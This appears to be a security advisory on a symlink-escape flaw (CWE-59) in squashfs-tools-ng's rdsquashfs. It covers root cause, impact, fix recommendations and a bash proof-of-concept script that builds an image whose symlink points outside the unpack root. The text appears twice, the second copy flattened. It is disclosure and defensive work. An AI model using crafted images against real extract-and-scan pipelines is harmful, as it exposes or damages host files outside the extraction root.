rdsquashfs can unpack SquashFS images to disk, materializing the filesystem tree (including symlinks).
This vulnerability maps to CWE-59:Improper Link Resolution Before File Access (‘Link Following’)
One realistic attack scenario is an automated “extract then scan” workflow that assumes the extracted directory is self-contained:
/tmp/rdsquashfs_slink_target_poc/
|-- out/ (extracted SquashFS tree)
| `-- conf -> ../outside/conf.ini (symlink from the image)
|-- outside/
| `-- conf.ini (sibling file outside the extraction root)
`-- image.sqfs (untrusted SquashFS image)
Victim workflow:
- A pipeline runs:
rdsquashfs -u / -p /tmp/rdsquashfs_slink_target_poc/out /tmp/rdsquashfs_slink_target_poc/image.sqfs
- A later step follows symlinks unintentionally (e.g.,
cat /tmp/rdsquashfs_slink_target_poc/out/conf, grep -R, “parse all config files”, etc.)
- The pipeline reads or writes data outside the chosen output directory because the extracted symlink target escapes the root.
This is not an “immediate arbitrary file write” during extraction; it is an unsafe materialization property that can turn downstream consumers into path traversal gadgets.
0. Environment
- Source:
git clone https://github.com/AgentD/squashfs-tools-ng.git /tmp/squashfs-tools-ng
- Version: squashfs-tools-ng commit
e3dcf17 (latest on 23/04/2026)
- Version below
e3dcf17 is also infected.
1. Description
When extracting a symbolic link inode, rdsquashfs calls symlink(target, path) where target comes from the image bytes.
There is no containment policy for symlink targets:
- absolute symlink targets (
/tmp/host_file)
- traversal-based targets (
../outside/file)
are materialized verbatim under the unpack root.
Relevant code:
bin/rdsquashfs/src/restore_fstree.c:~67+
case S_IFLNK: symlink((const char *)n->inode->extra, name)
2. Impact
Downstream tooling that assumes the extracted tree is self-contained can be tricked into interacting with files outside the extraction root.
Practical consequences depend on the consumer:
- scanners that “open everything” may read unintended host files;
- repackers/archivers may capture host files through symlinks;
- clean-up tooling that follows symlinks may delete/overwrite host files.
3. Root Cause
- Symlink targets from the image are not validated or constrained.
- There is no “safe extraction” mode that forbids symlinks whose targets escape the chosen root.
4. Proof-of-Concept
4.1 PoC files
4.2 Expected result
The PoC verifies that rdsquashfs creates:
/tmp/rdsquashfs_slink_target_poc/out/link -> ../outside/pwn.txt
which escapes the unpack root when followed.
5. Fix Recommendations
If rdsquashfs is expected to support “safe unpacking” of untrusted images:
- Add a mode to reject symlink targets that are:
- absolute, or
- contain traversal (
..) that would escape the unpack root.
- Alternatively, extract such symlinks as inert text files (e.g.,
link.symlink containing the target) instead of a real symlink.
- Keep
--no-slink/-L as a documented mitigation for security-sensitive unpacking pipelines, but consider making “safe” behavior opt-in or the default in hardened builds.
6. Reproduction
From this directory:
Below is poc.sh
#!/usr/bin/env bash
set -euo pipefail
SQFSNG_REPO_URL="https://github.com/AgentD/squashfs-tools-ng.git"
SQFSNG_SRC="/tmp/squashfs-tools-ng"
SQFSNG_COMMIT="e3dcf17"
for bin in mksquashfs; do
if ! command -v "$bin" >/dev/null 2>&1; then
echo "error: $bin is required" >&2
exit 1
fi
done
if [[ ! -d "${SQFSNG_SRC}/.git" ]]; then
git clone "${SQFSNG_REPO_URL}" "${SQFSNG_SRC}" >/dev/null
fi
git -C "${SQFSNG_SRC}" checkout -q "${SQFSNG_COMMIT}"
base=/tmp/unpfuzz_rdsquashfs_slink_target_poc
rm -rf "${base}"
mkdir -p "${base}/src" "${base}/out" "${base}/outside"
# Create a symlink in the source tree whose target escapes the unpack root.
(cd "${base}/src" && ln -s ../outside/pwn.txt link)
mksquashfs "${base}/src" "${base}/test.sqfs" -noappend -quiet >/dev/null
# Build rdsquashfs (out-of-tree) to keep the repo clean.
if [[ ! -x "${SQFSNG_SRC}/configure" ]]; then
(cd "${SQFSNG_SRC}" && ./autogen.sh >/dev/null)
fi
build="${base}/build"
mkdir -p "${build}"
(cd "${build}" && "${SQFSNG_SRC}/configure" --disable-shared >/dev/null)
(cd "${build}" && make -j"$(nproc)" rdsquashfs >/dev/null)
rdsq_bin="${build}/rdsquashfs"
if [[ ! -x "${rdsq_bin}" ]]; then
echo "error: rdsquashfs binary not executable: ${rdsq_bin}" >&2
exit 1
fi
"${rdsq_bin}" -q -u / -p "${base}/out" "${base}/test.sqfs" >/dev/null
if [[ ! -L "${base}/out/link" ]]; then
echo "[-] expected extracted symlink not found: ${base}/out/link" >&2
find "${base}/out" -maxdepth 3 -ls >&2 || true
exit 1
fi
target="$(readlink "${base}/out/link")"
if [[ "${target}" != "../outside/pwn.txt" ]]; then
echo "[-] unexpected symlink target: ${target}" >&2
exit 1
fi
echo "[+] extracted symlink target escapes root:"
echo " ${base}/out/link -> ${target}"
rdsquashfscan unpack SquashFS images to disk, materializing the filesystem tree (including symlinks).This vulnerability maps to CWE-59:Improper Link Resolution Before File Access (‘Link Following’)
One realistic attack scenario is an automated “extract then scan” workflow that assumes the extracted directory is self-contained:
Victim workflow:
rdsquashfs -u / -p /tmp/rdsquashfs_slink_target_poc/out /tmp/rdsquashfs_slink_target_poc/image.sqfscat /tmp/rdsquashfs_slink_target_poc/out/conf,grep -R, “parse all config files”, etc.)This is not an “immediate arbitrary file write” during extraction; it is an unsafe materialization property that can turn downstream consumers into path traversal gadgets.
0. Environment
git clone https://github.com/AgentD/squashfs-tools-ng.git /tmp/squashfs-tools-nge3dcf17(latest on 23/04/2026)e3dcf17is also infected.1. Description
When extracting a symbolic link inode,
rdsquashfscallssymlink(target, path)wheretargetcomes from the image bytes.There is no containment policy for symlink targets:
/tmp/host_file)../outside/file)are materialized verbatim under the unpack root.
Relevant code:
bin/rdsquashfs/src/restore_fstree.c:~67+case S_IFLNK: symlink((const char *)n->inode->extra, name)2. Impact
Downstream tooling that assumes the extracted tree is self-contained can be tricked into interacting with files outside the extraction root.
Practical consequences depend on the consumer:
3. Root Cause
4. Proof-of-Concept
4.1 PoC files
poc.sh4.2 Expected result
The PoC verifies that
rdsquashfscreates:/tmp/rdsquashfs_slink_target_poc/out/link -> ../outside/pwn.txtwhich escapes the unpack root when followed.
5. Fix Recommendations
If
rdsquashfsis expected to support “safe unpacking” of untrusted images:..) that would escape the unpack root.link.symlinkcontaining the target) instead of a real symlink.--no-slink/-Las a documented mitigation for security-sensitive unpacking pipelines, but consider making “safe” behavior opt-in or the default in hardened builds.6. Reproduction
From this directory:
Below is poc.sh